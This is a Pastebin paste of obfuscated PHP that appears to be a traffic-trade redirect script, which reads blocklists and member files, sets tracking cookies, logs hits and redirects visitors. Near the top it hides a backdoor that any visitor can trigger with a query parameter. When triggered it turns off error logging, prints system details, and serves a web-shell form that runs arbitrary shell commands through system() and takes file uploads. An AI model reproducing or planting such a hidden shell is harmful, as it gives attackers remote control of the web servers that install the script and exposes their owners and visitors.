Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function visiteddata($V447b7147, $V3c6e0b8a)
- {
- global $Vd51c3d0d;
- if ($V447b7147 == "visited") {
- $Vd51c3d0d .= $V3c6e0b8a . ";";
- }
- }
- function fbd5fc730($V435ed7e9, &$V8d777f38)
- {
- if ($V633de4b0 = @fopen($V435ed7e9, "r")) {
- flock($V633de4b0, 1);
- while ($V5b4d9906 = fgets($V633de4b0, 1024)) {
- $Vde695463 = array();
- $Vde695463 = explode(";", $V5b4d9906);
- $V8d777f38[trim($Vde695463[1])] = $Vde695463[0];
- }
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- }
- }
- @ini_set("display_errors", 0);
- @ini_set("error_log", 0);
- @ini_set("log_errors", 0);
- error_reporting(0);
- if ($_GET['xz'] == "y") {
- set_magic_quotes_runtime(0);
- print "<style>body{font-family:trebuchet ms;font-size:16px;}hr{width:100%;height:2px;}</style>";
- $currentWD = str_replace("\\\\","\\",$_POST['_cwd']);
- $currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);
- $UName = `uname -a`;
- $SCWD = `pwd`;
- $UserID = `id`;
- if( $currentWD == "" ) {
- $currentWD = $SCWD;
- }
- print "<table>";
- print "<tr><td><b>We are:</b></td><td>".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].")</td></tr>";
- print "<tr><td><b>Server is:</b></td><td>".$_SERVER['SERVER_SIGNATURE']."</td></tr>";
- print "<tr><td><b>System type:</b></td><td>$UName</td></tr>";
- print "<tr><td><b>Our permissions:</b></td><td>$UserID</td></tr>";
- print "</table>";
- if( $_POST['_act'] == "List files!" ) {
- $currentCMD = "ls -la";
- }
- print "<form method=post enctype=\"multipart/form-data\"><table>";
- print "<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";
- print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";
- print "<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";
- print "<td><input type=submit name=_act value=\"List files!\"></td></tr>";
- print "<tr><td><b>Upload file:</b></td><td><input size=85 type=file name=_upl></td>";
- print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";
- print "</table></form><hr>";
- $currentCMD = str_replace("\\\"","\"",$currentCMD);
- $currentCMD = str_replace("\\\'","\'",$currentCMD);
- if( $_POST['_act'] == "Upload!" ) {
- if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
- print "<center><b>Error while uploading file!</b></center>";
- } else {
- print "<center><pre>";
- system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
- print "</pre><b>File uploaded successfully!</b></center>";
- }
- } else {
- print "\n<pre>\n";
- $currentCMD = "cd ".$currentWD.";".$currentCMD;
- system($currentCMD);
- print "\n</pre>\n</center><hr><center><b>Command completed</b></center>";
- }
- exit;
- exit();
- }
- foreach ($_GET as $V8ce4b16b => $V9e3669d1) {
- $_GET[$V8ce4b16b] = str_replace("<?", "", $V9e3669d1);
- }
- include("config.php");
- $V5adf599e = $_SERVER['HTTP_REFERER'];
- $member = $_COOKIE['refer'];
- $V435ed7e9 = "datafiles/blockedlist.dat";
- if ($V633de4b0 = @fopen($V435ed7e9, "r")) {
- flock($V633de4b0, 1);
- $V3d801aa5 = @fread($V633de4b0, @filesize($V435ed7e9));
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- $V320a8063 = array();
- $V320a8063 = explode("\r\n", $V3d801aa5);
- $V90ca62f9 = sizeof($V320a8063);
- $V865c0c0b = 0;
- while ($V865c0c0b < sizeof($V320a8063)) {
- if ($V320a8063[$V865c0c0b] && (strstr($V5adf599e, $V320a8063[$V865c0c0b]) || $member == $V320a8063[$V865c0c0b] || $_SERVER['REMOTE_ADDR'] == $V320a8063[$V865c0c0b] || strstr($_SERVER['HTTP_USER_AGENT'], $V320a8063[$V865c0c0b]))) {
- if ($Veb7cc6db) {
- header("Location: {$V5adf599e}");
- }
- exit();
- }
- ++$V865c0c0b;
- }
- }
- $url = $_GET['url'];
- $first = $_GET['first'];
- $ref = $_GET['ref'];
- $link = $_GET['link'];
- $Vb1013a7e = $_GET['t'];
- if (!$member) {
- $member = "nocookie";
- if ($V92687587) {
- $ref = "nocookie";
- $url = "";
- }
- }
- $Vdad12808 = array();
- if ($V69858820) {
- $Vfa75823c = $_SERVER['GEOIP_COUNTRY_CODE'];
- $V599f46e3 = $Vfa75823c;
- } else {
- $V599f46e3 = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
- $Vdad12808 = explode("-", $V599f46e3);
- $Vfa75823c = $Vdad12808[0];
- }
- if (!$Vfa75823c) {
- $Vfa75823c = $V599f46e3 = "blank";
- }
- $V3ec88920 = $_COOKIE['page'];
- $V7d320a89 = $_COOKIE['gbclicks'];
- if (!$V7d320a89) {
- $V7d320a89 = 0;
- }
- $V05d80d74 = 0;
- if ($V0ca2ee97 && $V0ca2ee97 <= $V7d320a89) {
- $V05d80d74 = 1;
- } else if ($V742913f8) {
- $V05d80d74 = 1;
- $V3d801aa5 = "";
- $V435ed7e9 = "datafiles/ips.txt";
- if ($V633de4b0 = @fopen($V435ed7e9, "r")) {
- flock($V633de4b0, 1);
- $V3d801aa5 = @fread($V633de4b0, @filesize($V435ed7e9));
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- }
- if (!strstr($V3d801aa5, ($V7d320a89 + 1) . ";" . $_SERVER['REMOTE_ADDR'] . "\r\n") && strstr($V3d801aa5, $V7d320a89 . ";" . $_SERVER['REMOTE_ADDR'] . "\r\n") && ($V633de4b0 = @fopen($V435ed7e9, "a"))) {
- flock($V633de4b0, 2);
- fputs($V633de4b0, ($V7d320a89 + 1) . ";" . $_SERVER['REMOTE_ADDR'] . "\r\n");
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- $V05d80d74 = 0;
- }
- }
- $V38d4765b = $V5adf599e;
- $V724b1be8 = $V05d80d74;
- if ($V05d80d74) {
- if ($Vd280e0bb) {
- $ref = "nocookie";
- $url = "";
- }
- } else {
- if ($link != "redirect" && !strstr(str_replace("www.", "", $V5adf599e), str_replace("www.", "", $V861ce498))) {
- $V724b1be8 = 1;
- } else {
- if ($_SERVER['HTTP_VIA'] || !$_SERVER['HTTP_ACCEPT'] || !$_SERVER['HTTP_USER_AGENT'] || $Vdf711c9f && time() - $Vdf711c9f < $_SESSION['intm']) {
- $V724b1be8 = 1;
- } else if ($Vec407cce && $Vec407cce) {
- @include("datafiles/jsp.php");
- if ($Vb1013a7e != $V146ac5a9) {
- $V724b1be8 = 1;
- }
- }
- $V546b4439 = strpos($V38d4765b, "?");
- if ($V546b4439) {
- $V38d4765b = substr($V38d4765b, 0, $V546b4439);
- }
- if (($V38d4765b == $V861ce498 || $V38d4765b == $V861ce498 . "/") && $V3ec88920) {
- --$V3ec88920;
- if ($V3ec88920 == 0) {
- $V3ec88920 = 2;
- }
- $V38d4765b = $V861ce498 . "/_main" . $V3ec88920 . ".html";
- }
- }
- }
- $V4d2f3dfb = 0 - 10;
- $V54f5210f = $V9b3df717 = "";
- if ($url) {
- if ($Vf03c5300 && !isset($_GET['s']) && $link != "redirect") {
- if ($Vf03c5300[$V7d320a89] != "T") {
- $V54f5210f = "direct";
- $V9b3df717 = $url;
- }
- } else {
- if (isset($_GET['s'])) {
- $s = ( integer ) $_GET['s'];
- if (100 < $s) {
- $s = 100;
- }
- } else {
- $s = 100;
- }
- if (rand(0, 100) <= $s || $first && $V7d320a89 < $first) {
- $V54f5210f = "direct";
- $V9b3df717 = $url;
- }
- }
- } else if ($ref) {
- $V435ed7e9 = "memberfiles/" . $ref . ".dat";
- if ($V633de4b0 = @fopen($V435ed7e9, "r")) {
- flock($V633de4b0, 1);
- $V739b2f85 = fgets($V633de4b0, filesize($V435ed7e9));
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- $V3d801aa5 = array();
- $V3d801aa5 = explode("|", $V739b2f85);
- if ($V3d801aa5[15]) {
- $V54f5210f = $ref;
- $V9b3df717 = $V3d801aa5[15];
- $V4d2f3dfb = $V3d801aa5[1];
- }
- }
- }
- if (!$V9b3df717) {
- $V3d801aa5 = "";
- $V435ed7e9 = "datafiles/outpick.dat";
- if ($V633de4b0 = @fopen($V435ed7e9, "r")) {
- flock($V633de4b0, 1);
- $V3d801aa5 = @fread($V633de4b0, @filesize($V435ed7e9));
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- }
- $outpick = array();
- $outpick = explode("\r\n", $V3d801aa5);
- if ($V4205ee45) {
- $V1d9e6a00 = $V424b30c0 = $dat = array();
- $V865c0c0b = 0;
- while ($V865c0c0b < sizeof($outpick)) {
- $dat = explode("|", $outpick[$V865c0c0b]);
- $V1d9e6a00[$V865c0c0b] = rand(1, 1000) * $dat[0];
- ++$V865c0c0b;
- }
- asort($V1d9e6a00);
- foreach ($V1d9e6a00 as $V3c6e0b8a => $V3a6d0284) {
- $V424b30c0[] = $V3c6e0b8a;
- }
- }
- $V865c0c0b = 0;
- while ($V865c0c0b < sizeof($outpick)) {
- $dat = array();
- if ($V4205ee45) {
- $dat = explode("|", $outpick[$V424b30c0[$V865c0c0b]]);
- } else {
- $dat = explode("|", $outpick[$V865c0c0b]);
- }
- if ($dat[1] && !$_COOKIE[$dat[1]] && $dat[1] != $member && (!$group || $group && strstr($dat[3], $group)) && (!$dat[4] || strstr($dat[4], $V599f46e3) || !strstr($dat[4], "-") && strstr($dat[4], $Vfa75823c))) {
- $V9b3df717 = $dat[2];
- $V54f5210f = $dat[1];
- $V4d2f3dfb = $dat[5];
- break;
- }
- ++$V865c0c0b;
- }
- }
- if (!$V9b3df717) {
- $V435ed7e9 = "memberfiles/auxout.dat";
- if ($V633de4b0 = @fopen($V435ed7e9, "r")) {
- flock($V633de4b0, 1);
- $V739b2f85 = fgets($V633de4b0, filesize($V435ed7e9));
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- $V3d801aa5 = array();
- $V3d801aa5 = explode("|", $V739b2f85);
- if ($V3d801aa5[15]) {
- $V54f5210f = "auxout";
- $V9b3df717 = $V3d801aa5[15];
- }
- }
- }
- setcookie("gbclicks", $V7d320a89 + 1, time() + 172800);
- setcookie($V54f5210f, "visited", time() + 172800);
- setcookie("ctime", time(), time() + 172800);
- $Vcff34c13 = 0;
- if ($Vf3778551 && $V54f5210f != "auxout" && $V54f5210f != "sponsor" && (0 < $V4d2f3dfb || 0 - 10 < $V4d2f3dfb && !rand(0, 9))) {
- $Vd51c3d0d = "";
- array_walk($_COOKIE, "visiteddata");
- if ($Vd51c3d0d) {
- $Vd51c3d0d = str_rot13($Vd51c3d0d);
- if (strstr($V9b3df717, "?")) {
- $Vd51c3d0d = "&gbv=" . $Vd51c3d0d;
- } else {
- $Vd51c3d0d = "?gbv=" . $Vd51c3d0d;
- }
- }
- $Vcff34c13 = 0 - 1;
- }
- header("Location: " . $V9b3df717 . $Vd51c3d0d . "\n");
- $V013dff02 = 0;
- if ($V4e807dca && !strstr($V4e807dca, $Vfa75823c)) {
- $V013dff02 = 1;
- }
- $V8e3f1bbb = $_SERVER['HTTP_USER_AGENT'];
- $V4124bc0a = array();
- $V4124bc0a = explode("; ", $V8e3f1bbb);
- if (strstr($V4124bc0a[1], "MSIE")) {
- $V8e3f1bbb = $V4124bc0a[1];
- } else {
- $V4124bc0a = explode(") ", $V8e3f1bbb);
- if (3 < strlen($V4124bc0a[1])) {
- $V8e3f1bbb = $V4124bc0a[1];
- }
- }
- if ($V633de4b0 = @fopen("datafiles/hitsout.dat", "a")) {
- flock($V633de4b0, 2);
- fputs($V633de4b0, $V54f5210f . "|" . $link . "|" . $member . "|" . $V599f46e3 . "|" . $V724b1be8 . "|" . $V013dff02 . "|" . $Vcff34c13 . "|" . $V38d4765b . "|" . $V8e3f1bbb . "|" . $_SERVER['REMOTE_ADDR'] . "\r\n");
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- }
- if (isset($_GET['thumb'], $_GET['pos'])) {
- $thumb = $_GET['thumb'];
- $pos = $_GET['pos'];
- $rot = 1;
- if ($_GET['rot']) {
- $rot = $_GET['rot'];
- }
- $stats = $V5a423d9e = array();
- fbd5fc730("datafiles/rotstat" . $rot . ".dat", &$stats);
- fbd5fc730("datafiles/posstat" . $rot . ".dat", &$V86f5dcd7);
- fbd5fc730("datafiles/rotator" . $rot . ".dat", &$V5a423d9e);
- $V46bc758a = 0;
- foreach ($V5a423d9e as $V8ce4b16b => $V9e3669d1) {
- if (!($thumb == $V8ce4b16b)) {
- continue;
- }
- $V46bc758a = 1;
- break;
- break;
- }
- if ($V46bc758a) {
- ++$stats[$thumb];
- ++$V86f5dcd7[$pos];
- $V14447879 = "";
- foreach ($stats as $V8ce4b16b => $V9e3669d1) {
- $V14447879 .= $V9e3669d1 . ";" . $V8ce4b16b . "\r\n";
- }
- if ($V633de4b0 = @fopen("datafiles/rotstat" . $rot . ".dat", "w")) {
- flock($V633de4b0, 2);
- fputs($V633de4b0, $V14447879);
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- }
- $Vb84abdbd = "";
- foreach ($V86f5dcd7 as $V8ce4b16b => $V9e3669d1) {
- $Vb84abdbd .= $V9e3669d1 . ";" . $V8ce4b16b . "\r\n";
- }
- if ($V633de4b0 = @fopen("datafiles/posstat" . $rot . ".dat", "w")) {
- flock($V633de4b0, 2);
- fputs($V633de4b0, $Vb84abdbd);
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- }
- }
- }
- exit();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement